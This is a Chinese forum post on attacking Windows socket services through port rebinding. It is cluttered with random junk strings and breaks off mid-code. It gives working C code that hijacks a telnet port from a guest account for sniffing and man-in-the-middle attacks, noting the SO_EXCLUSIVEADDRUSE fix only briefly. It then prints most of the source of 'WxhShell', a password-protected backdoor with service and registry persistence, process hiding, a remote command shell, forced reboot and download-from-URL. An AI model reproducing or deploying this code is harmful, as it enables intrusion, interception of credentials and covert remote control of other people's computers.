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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kWz%v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n0i&P9@B1  
O}f(h5!k  
  saddr.sin_family = AF_INET; -MEz`7c~  
1W!n"3#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0 De M  
mVL,J=2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); < 5_Ys  
9FLn7Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V= *J9~K  
f8^58]wx0  
  这意味着什么?意味着可以进行如下的攻击: DVcu*UVw  
n)7icSc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G-(c+6Mn  
)?bb]hZg?O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )Z%+~n3o'  
ipp_?5TL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W=\dsdnu*  
omA*XXUx=8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ` U3  
F i/G, [q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |O9=C`G_  
7h0'R k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BD0-v`  
fDqXM;a"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =GVhAzD3  
$B?7u@>,  
  #include -d3y!| \>a  
  #include td&l T(7  
  #include C|J1x4sb@  
  #include    85{vz|(':  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~&/Gx_KU  
  int main() .>'Z9.Xnk  
  { 9h(hx 7]  
  WORD wVersionRequested; dJ^`9W  
  DWORD ret; G0Eq }MyF  
  WSADATA wsaData; /a|NGh%  
  BOOL val; h^*{chm]  
  SOCKADDR_IN saddr; <"+C<[n.  
  SOCKADDR_IN scaddr; RM+E  
  int err; KRZV9AJ  
  SOCKET s; oCYD@S>h  
  SOCKET sc; /nP=E  
  int caddsize; m'B6qy!}6  
  HANDLE mt; K)@}Ok"#\4  
  DWORD tid;   WLl9>v^1  
  wVersionRequested = MAKEWORD( 2, 2 ); pzr-}>xrZ  
  err = WSAStartup( wVersionRequested, &wsaData ); !~l%6Z5  
  if ( err != 0 ) { w$ {  
  printf("error!WSAStartup failed!\n"); cj#q7  
  return -1; B~#@fIL  
  } y)E2=JQA/  
  saddr.sin_family = AF_INET; ):@%xoF5  
   %nh'F6bNgv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R4(8]oUW  
-*M:OF"Zh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P[K=']c  
  saddr.sin_port = htons(23); fNJ;{&#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %4Zy1{yKs_  
  { fdG.=7`  
  printf("error!socket failed!\n"); 6I#DlAU@v  
  return -1; $IT9@}*{  
  } ?63JQ.;  
  val = TRUE; uP]o39b;V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ] O>7x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A%2}?Ds  
  { uCfp+  
  printf("error!setsockopt failed!\n"); sK?-@  
  return -1; j2M(W/_  
  } U9 *2< c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Oha g%<1#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #Vigu,zY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y}HC\A77uD  
KgWT&^t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?|GxVOl  
  { Dg+d=I?  
  ret=GetLastError(); J"%}t\Q  
  printf("error!bind failed!\n"); T_[\(K`w!  
  return -1;  ]:fCyIE  
  } & }}WP:U  
  listen(s,2); :Qo  
  while(1) 30E v"  
  { ji -1yX  
  caddsize = sizeof(scaddr); 8k^y.B  
  //接受连接请求 ~{G: ,|`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c.Z4f 7  
  if(sc!=INVALID_SOCKET) S\;.nAR  
  { \=_q{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^(*O$N*#  
  if(mt==NULL) H;|:r[d!  
  { |uBC0f  
  printf("Thread Creat Failed!\n"); a&"*UJk<?  
  break; f;H#TSJ  
  } oD@jtd>b%  
  } rI+w1';C1  
  CloseHandle(mt); D])YP0|}  
  } >?eTbtP  
  closesocket(s); Pm(:M:a  
  WSACleanup(); uE`|0  
  return 0;  :$c:3~  
  }   '2$!thm  
  DWORD WINAPI ClientThread(LPVOID lpParam) DF|s,J`98  
  { zN)\2  
  SOCKET ss = (SOCKET)lpParam; cCGXB|9fYR  
  SOCKET sc; WcO,4:  
  unsigned char buf[4096]; _j\=FJz[  
  SOCKADDR_IN saddr; bXwoJ2  
  long num; /&as)  
  DWORD val; fbTw6Fde$  
  DWORD ret; dHF$T33It  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3,L3C9V'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qK vr*xlC  
  saddr.sin_family = AF_INET; _JTxm>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uo'31V0  
  saddr.sin_port = htons(23); S5u#g`I]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /NX7Vev  
  { `{lAhZ5  
  printf("error!socket failed!\n"); Guw|00w,Q$  
  return -1; OrEuQ-,i@  
  } k5;Vl0Ho  
  val = 100; q,+kPhHEgy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t`YZ)>Ws  
  { TTZxkK  
  ret = GetLastError(); F*JvpI[7n  
  return -1; =/JF-#n/MA  
  } 6y,P4O*q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _s^:zPl  
  {  L|lmStwe  
  ret = GetLastError(); ,,gLrV k  
  return -1; #t2UPLO~  
  } ]ZzG!7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q6JW@GT  
  { Xu94v{u3  
  printf("error!socket connect failed!\n"); DwY<qNWT  
  closesocket(sc); X0Z-1bs  
  closesocket(ss); -F+P;S  
  return -1; O0wCb  
  } ?t0zsq  
  while(1) BT#=Xh  
  { k3>ur>aW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $W {yK+N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,mjfZ*N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gr`Ar;  
  num = recv(ss,buf,4096,0); [}ZPg3Y  
  if(num>0) jXY;V3l  
  send(sc,buf,num,0); c\)&yGE  
  else if(num==0) cP@F #!2  
  break; PL9eUy  
  num = recv(sc,buf,4096,0); r ctSS:1  
  if(num>0) s |gD  
  send(ss,buf,num,0); ]a6O(]  
  else if(num==0) Ly)(_Tp@+  
  break; A` o?+2s_  
  } ;j>Vt?:Pw  
  closesocket(ss); v=.z|QD^1  
  closesocket(sc); vf'cx:m  
  return 0 ; OVUs]uK  
  } Xm8Z+}i  
S}w.#tyEn  
@bW[J  
========================================================== w~$c= JO#  
S@}B:}2  
下边附上一个代码,,WXhSHELL ~S^X"8(U  
`o_fUOe8a  
========================================================== c/=y*2,zo  
XnE %$NJ  
#include "stdafx.h" 9jMC |oE  
C](z#c~c  
#include <stdio.h> i'Y'HI  
#include <string.h> cNuHXaWp  
#include <windows.h> 2&gd"Ak(  
#include <winsock2.h> F8[B^alAe  
#include <winsvc.h> p`ADro*  
#include <urlmon.h> t8A kdSU0  
b@wBR9s  
#pragma comment (lib, "Ws2_32.lib") NDRW  
#pragma comment (lib, "urlmon.lib") XatA8(_,5  
xi?P(s A  
#define MAX_USER   100 // 最大客户端连接数 ^$=tcoQG  
#define BUF_SOCK   200 // sock buffer e|b~[|;*=  
#define KEY_BUFF   255 // 输入 buffer 'n^2|"$sH  
;v,9 v;T  
#define REBOOT     0   // 重启 Jm %ynW  
#define SHUTDOWN   1   // 关机 0Oc}rRH(C  
>lraYMc<rZ  
#define DEF_PORT   5000 // 监听端口 ` y^zM/Ib  
*U;4t/(  
#define REG_LEN     16   // 注册表键长度 X`fhln9N  
#define SVC_LEN     80   // NT服务名长度 Jtp>m?1Ve  
[;?"R-V"z  
// 从dll定义API jcEs10y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &0+x2e)7g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R%b*EBZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~5r=FF6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8ji^d1G,  
QN_)3lm  
// wxhshell配置信息 aJ :A%+1  
struct WSCFG { 9Qzjqq:"Li  
  int ws_port;         // 监听端口 y Y>-MoF/t  
  char ws_passstr[REG_LEN]; // 口令 1 [Sv  
  int ws_autoins;       // 安装标记, 1=yes 0=no u/gm10<OWa  
  char ws_regname[REG_LEN]; // 注册表键名 =PNdP  
  char ws_svcname[REG_LEN]; // 服务名 ]{IR&{EI-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yzj%{fkh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,8c dXt   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =5y`(0 I`U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p-5P as  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9W1;Kb|Z<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G;(onJz  
8pYyG |\  
}; /[a|DUoHO  
n}< ir!ZTO  
// default Wxhshell configuration 3yTQ  
struct WSCFG wscfg={DEF_PORT, @72x`&|I?u  
    "xuhuanlingzhe", 6IEUJ-M Z  
    1,  r=fE8[,  
    "Wxhshell", !uWxRpT,7  
    "Wxhshell", cVQatm  
            "WxhShell Service", &sm @  
    "Wrsky Windows CmdShell Service", owE<7TGPI?  
    "Please Input Your Password: ", 29"mE;j  
  1, t|;%DA)fjw  
  "http://www.wrsky.com/wxhshell.exe", V~OUE]]Q  
  "Wxhshell.exe" O.*jR`l  
    }; { EA2   
O6y @G .+  
// 消息定义模块 ~TYbP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o"|O ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .aNO( /kO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7w "sJ  
char *msg_ws_ext="\n\rExit."; }*iAE>;  
char *msg_ws_end="\n\rQuit."; 89zuL18V  
char *msg_ws_boot="\n\rReboot..."; OuB2 x=B  
char *msg_ws_poff="\n\rShutdown..."; h ZoC _\  
char *msg_ws_down="\n\rSave to "; g-."sniP$g  
|/@0~O(6  
char *msg_ws_err="\n\rErr!"; mR"uhm}q  
char *msg_ws_ok="\n\rOK!"; {bN Y  
6 -]>]Hr-  
char ExeFile[MAX_PATH]; -NAmu97V}  
int nUser = 0; ;K3d' U  
HANDLE handles[MAX_USER]; <u0*"  
int OsIsNt; 8)N0S% B  
c#=&!FRe  
SERVICE_STATUS       serviceStatus; X(IyvfC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xb%/sz(4  
FyCBN tCv  
// 函数声明 e\`wlaP,  
int Install(void); [ L  
int Uninstall(void); p` $fTgm  
int DownloadFile(char *sURL, SOCKET wsh); Jf2e<?`  
int Boot(int flag); I?^aCnU  
void HideProc(void); &a.']!$^"  
int GetOsVer(void); M9gOoYf,~  
int Wxhshell(SOCKET wsl); .+OB!'dDK^  
void TalkWithClient(void *cs); (FuEd11R  
int CmdShell(SOCKET sock); W+KF2(lB  
int StartFromService(void); +|6`E3j%  
int StartWxhshell(LPSTR lpCmdLine); O{~KR/  
Gc wt7~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FtE90=$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Sw2xT$p{j  
'}_=kp'X  
// 数据结构和表定义 )&>L !,z  
SERVICE_TABLE_ENTRY DispatchTable[] = f6Ml[!aU  
{ =tq1ogE  
{wscfg.ws_svcname, NTServiceMain}, #+$ zE#je  
{NULL, NULL} k=e`*LB\  
}; {o( * f  
G(3;;F7"  
// 自我安装 /^Y[*5  
int Install(void) GjEqU;XBi  
{ G%;kGi`m  
  char svExeFile[MAX_PATH]; 6;gLwOeOHY  
  HKEY key; 1t.R+1[c  
  strcpy(svExeFile,ExeFile); 6Z Xu,ks}  
x.ba|:5  
// 如果是win9x系统,修改注册表设为自启动 hqL+_| DW  
if(!OsIsNt) { z?)He)d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )#a7'Ba  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); guU=NQZ  
  RegCloseKey(key); "v5ElYG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { " CM ucK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); opXDm\  
  RegCloseKey(key); "e@n:N!  
  return 0; 7{4w 2)  
    } 6(Vhtr2( *  
  } J smB^  
} ~T% Ui#Gc  
else { H;QA@tF>5  
E:)Cp  
// 如果是NT以上系统,安装为系统服务 LX\)8~dp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;,k=<]  
if (schSCManager!=0) pl|h>4af  
{ L/yaVU{aEb  
  SC_HANDLE schService = CreateService :> SLQ[1  
  ( \9w~pO  
  schSCManager, E~qQai=]  
  wscfg.ws_svcname, 4^[ /=J}  
  wscfg.ws_svcdisp, t{zBC?c R  
  SERVICE_ALL_ACCESS, *jE;9^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h48YDWwy  
  SERVICE_AUTO_START, h,t:]  
  SERVICE_ERROR_NORMAL, P3!Atnv2  
  svExeFile, z6I%wh  
  NULL, Cc Y7$D  
  NULL, NO2(vE  
  NULL, Vc _:*  
  NULL, 6Cv.5V hx  
  NULL IB8gDP2  
  ); gqfDa cDJL  
  if (schService!=0) &qKig kLd  
  { RU|X*3";T  
  CloseServiceHandle(schService); t+O e)Ns  
  CloseServiceHandle(schSCManager); ,:UX<6l R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q_sEw~~@!  
  strcat(svExeFile,wscfg.ws_svcname); i$C-)d]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lI6W$V\,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &n>7Ir  
  RegCloseKey(key); nR[^|CAR  
  return 0; rEM#D]k  
    }  m*dNrG  
  } H:Y&OZ  
  CloseServiceHandle(schSCManager); L5f$TLw h;  
} DkdL#sV  
} 'mE^5K  
35_)3 R)  
return 1; s6n`?,vw  
} |@wyC0k!  
@^&7$#jq%  
// 自我卸载 mlB~V3M'G  
int Uninstall(void) nxfoWy  
{ ~8{sA5y  
  HKEY key; Om9jtWk  
_{)9b24(  
if(!OsIsNt) { s$ z2 c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N 9LgU)-Jt  
  RegDeleteValue(key,wscfg.ws_regname); uokc :D  
  RegCloseKey(key); 4x=(Zw_X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - {{[cT I  
  RegDeleteValue(key,wscfg.ws_regname); X#`dWNrN  
  RegCloseKey(key); 0%#\w*X8  
  return 0; G\kpUdj}  
  } 4MLH+/e  
} TH:W#Ot  
} 59lj7  
else { sJU`u'w  
vy9dAl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]iVLHVqz  
if (schSCManager!=0) Ur3m[07H  
{ WbcS: !0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4TZ cc|B5  
  if (schService!=0) 8:dQ._#v  
  { 5FOqv=6S  
  if(DeleteService(schService)!=0) { jDX>izg;V  
  CloseServiceHandle(schService); -[heV|$;  
  CloseServiceHandle(schSCManager); {v,)G)obWw  
  return 0; -c+]Wm"\  
  } i=#F)AD^5#  
  CloseServiceHandle(schService); !OAvD#  
  } %u!b& 5]e  
  CloseServiceHandle(schSCManager); !MV@) (.  
} v* ~3Z1  
} suVmg-d  
FFvCi@oT  
return 1; NBOCt)C;H  
} r4Q|5kT*i  
zK;XF N#U^  
// 从指定url下载文件 e;(  
int DownloadFile(char *sURL, SOCKET wsh) K 1W].(-@4  
{ Bp_wnd  
  HRESULT hr; D*2\{W/  
char seps[]= "/"; bRsTBp;R`I  
char *token; tj5giQ3DG)  
char *file; -6C +LbV  
char myURL[MAX_PATH]; r,NgG!zq<  
char myFILE[MAX_PATH]; 6N" l{!  
~x]9SXD%  
strcpy(myURL,sURL); Dl,`\b@Fw3  
  token=strtok(myURL,seps); 2*1ft>Uty  
  while(token!=NULL) 7x k|+!  
  { /+[63=fl  
    file=token; 1@qgF  
  token=strtok(NULL,seps); [Qj;/  
  } <]d LX}C)  
%!|O.xxRR  
GetCurrentDirectory(MAX_PATH,myFILE); E^CiOTN  
strcat(myFILE, "\\"); z]@6fM[  
strcat(myFILE, file); s\3q!A?S3  
  send(wsh,myFILE,strlen(myFILE),0); &JhX +'U  
send(wsh,"...",3,0); >*1}1~uU`'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5v _P Oq  
  if(hr==S_OK) fZ{[]dn[  
return 0; $>q@SJ1q  
else !#N\ b  
return 1; N#k61x  
r{K;|'d%h  
} (f#b7O-Wn  
=RsXI&&vh  
// 系统电源模块 g0R[xOS|  
int Boot(int flag) >I'% !E;  
{ i.y)mcB4  
  HANDLE hToken; l=={pb  
  TOKEN_PRIVILEGES tkp; 3z8C  
`I;F$`\  
  if(OsIsNt) { K5 KyG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,6"l(]0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8e2?tmWM  
    tkp.PrivilegeCount = 1; *hY2.t; X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L%\b'fs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2A:,;~UH  
if(flag==REBOOT) { wCKj7y[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {/8Q)2*>0  
  return 0; {eT.SO  
} I'!/[\_  
else { MaY682}|y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v"O5u%P  
  return 0; e2)autBe  
} I4c!m_sr  
  } <L0#O(L  
  else { r4XH =  
if(flag==REBOOT) { G| m4m.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H9 tXSh  
  return 0; A\sI<WrH  
} 1vevEa$  
else { ULqoCd%bK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =xN= #  
  return 0; -:Rp'SJ  
} EL{vFP  
} nt :N!suP3  
T)iW`vZg8  
return 1; F -gE<<  
} =;L*<I  
uGP(R=H  
// win9x进程隐藏模块 _aS;!6b8W  
void HideProc(void) n.}T1q|l  
{ x3G:(YfO  
+[-i%b3q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5Fw - d  
  if ( hKernel != NULL ) C NrII sJ  
  { []pN$]+c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #f,y&\Xmf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \2v"YVWw  
    FreeLibrary(hKernel); nv/[I,nw  
  } 7/Il L  
t ?eH'*>  
return; @%ECj)u`O  
} f'Mop= .  
,_ 2x{0w:>  
// 获取操作系统版本 N_gD>6I  
int GetOsVer(void) Bi%x`4Lf  
{ r,(Mu  
  OSVERSIONINFO winfo; 8p^B hd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  H`QQG!  
  GetVersionEx(&winfo); D-p.kA3MJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zTm]AG|0  
  return 1; ^A_;#vK  
  else 5FeFN)  
  return 0; +0$/y]k  
} r%]Qlt ~K  
Jh/ E@}'  
// 客户端句柄模块 X` YwP/D  
int Wxhshell(SOCKET wsl) ]+ Ixi o  
{ \,G#<>S  
  SOCKET wsh; iw?I  
  struct sockaddr_in client; Tl("IhkC  
  DWORD myID; >bo'Y9C  
OjE` 1h\  
  while(nUser<MAX_USER) w Iv o"|%  
{ Vm1-C<V9  
  int nSize=sizeof(client); A<MtKb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `)$_YZq|SR  
  if(wsh==INVALID_SOCKET) return 1; VR? ^HA9  
19e8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #s5N[uK^m  
if(handles[nUser]==0) rRFAD{5)  
  closesocket(wsh); oYM3Rgxf9Q  
else hVpCB,  
  nUser++; TD@v9  
  } n~IVNB*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1 OaXo!  
W8WXY_yJt  
  return 0; @* ust>7  
} e /K#>,  
GIwh@4;  
// 关闭 socket 8(U{2B8>\%  
void CloseIt(SOCKET wsh) `C E^2  
{ J>vMo@  
closesocket(wsh); <'U]`L p  
nUser--; Qx3eLfm  
ExitThread(0); \%jVg\4 '  
} bCv{1]RC2  
E2wz(,@  
// 客户端请求句柄 "y?\Dx   
void TalkWithClient(void *cs) @ EuFJ=h  
{ !0VfbY9C  
f:JlZ&  
  SOCKET wsh=(SOCKET)cs; p<Z3tD;Z  
  char pwd[SVC_LEN]; )u:Q) %$t  
  char cmd[KEY_BUFF]; #o`Ny4sq/  
char chr[1]; (]2H7X:b  
int i,j; PXKJ^fa  
<cN~jv-w$  
  while (nUser < MAX_USER) { m:QG}{<.h  
l,|%7-  
if(wscfg.ws_passstr) { a6xj\w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7*+]wEs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RzKb{> ;A  
  //ZeroMemory(pwd,KEY_BUFF); NPnHH:\;  
      i=0; %:v`EjRD0  
  while(i<SVC_LEN) { =qVP]  9  
~#K@ADYr  
  // 设置超时 gk0.zz([  
  fd_set FdRead; tA.`k;LT  
  struct timeval TimeOut; L71!J0@a#  
  FD_ZERO(&FdRead); nSx8E7 |V  
  FD_SET(wsh,&FdRead);  (t^n'V  
  TimeOut.tv_sec=8; ~:4kU/]  
  TimeOut.tv_usec=0; n||A" @b\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?i\;:<e4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uYI@ 9U  
y^>Q/H\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fT\:V5-  
  pwd=chr[0]; )=pD%$iq  
  if(chr[0]==0xd || chr[0]==0xa) { ;F:fM!l=  
  pwd=0; zt24qTKL  
  break; k3!a$0Bs;  
  } /a9 !Cf  
  i++; n 1b(\PA  
    } Z3KO90O!8  
='?:z2lJ  
  // 如果是非法用户,关闭 socket q6#<[ 4?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R6;Phdh<>  
} b,H[I!. %  
I5ss0JSl/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ={2!c0s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nwI3|&  
gO?44^hMe  
while(1) { e0,'+;*=g  
h+~P"i}&\  
  ZeroMemory(cmd,KEY_BUFF); K-vWa2  
d;[u8t  
      // 自动支持客户端 telnet标准   M5L{*>4|6  
  j=0; R{Z-m2La  
  while(j<KEY_BUFF) { kK>Xrj6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |iYg >  
  cmd[j]=chr[0]; zSTR^sgJ  
  if(chr[0]==0xa || chr[0]==0xd) { B0}~G(t(  
  cmd[j]=0; F4#g?R ::U  
  break; YB))S!;Ok  
  } ?WI3/>:<  
  j++; I_)*)d44_  
    } fN%jJ-[d  
>u +q1j.  
  // 下载文件 ZM#=`k9  
  if(strstr(cmd,"http://")) { _m E^rT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P@}Pk  
  if(DownloadFile(cmd,wsh)) 2/P"7A=<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Et2JxbD  
  else kTIYD o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +%>:0mT  
  } n^(A=G  
  else { km5~Gc}  
qNgd33u1  
    switch(cmd[0]) { is; XmF*5=  
  O>y'Nqz  
  // 帮助 MhEw _{?  
  case '?': { j`*N,*ha  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r{Rg920  
    break; yTM3^R(  
  } V3N0Og3  
  // 安装 P,pnga3Wu  
  case 'i': { H!IshZfktn  
    if(Install()) 2C^B_FUg|]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LE^G&<!  
    else [s1pM1x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'Z\O   
    break; m*0,s  
    } L6P1L)  
  // 卸载 1^J`1  
  case 'r': { 5`[n8mU  
    if(Uninstall()) ^)yTBn,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G* b2,9&F  
    else gY AF'?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \,UZX&ip  
    break; ;;s* Ohh  
    } ,8G{]X)  
  // 显示 wxhshell 所在路径 Y(VJbm`  
  case 'p': { NmIHYN3  
    char svExeFile[MAX_PATH]; B6P|Z%E;D6  
    strcpy(svExeFile,"\n\r"); V}w;Y?] J  
      strcat(svExeFile,ExeFile); gYop--\14]  
        send(wsh,svExeFile,strlen(svExeFile),0); ybdd;t}&1  
    break; xG&SX#[2  
    } +#J,BKul  
  // 重启 O;Y:uHf  
  case 'b': { t=euE{c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K r`]_m  
    if(Boot(REBOOT)) +V862R4,o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q~K(]Ya/  
    else { !G5a*8]  
    closesocket(wsh); &F$:Q:* *  
    ExitThread(0); d5I f"8`@  
    } B#%; Qc  
    break; V_n<?9^4  
    } X26   
  // 关机 %bXtKhg5eJ  
  case 'd': { Mn:/1eY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /(C~~XP)  
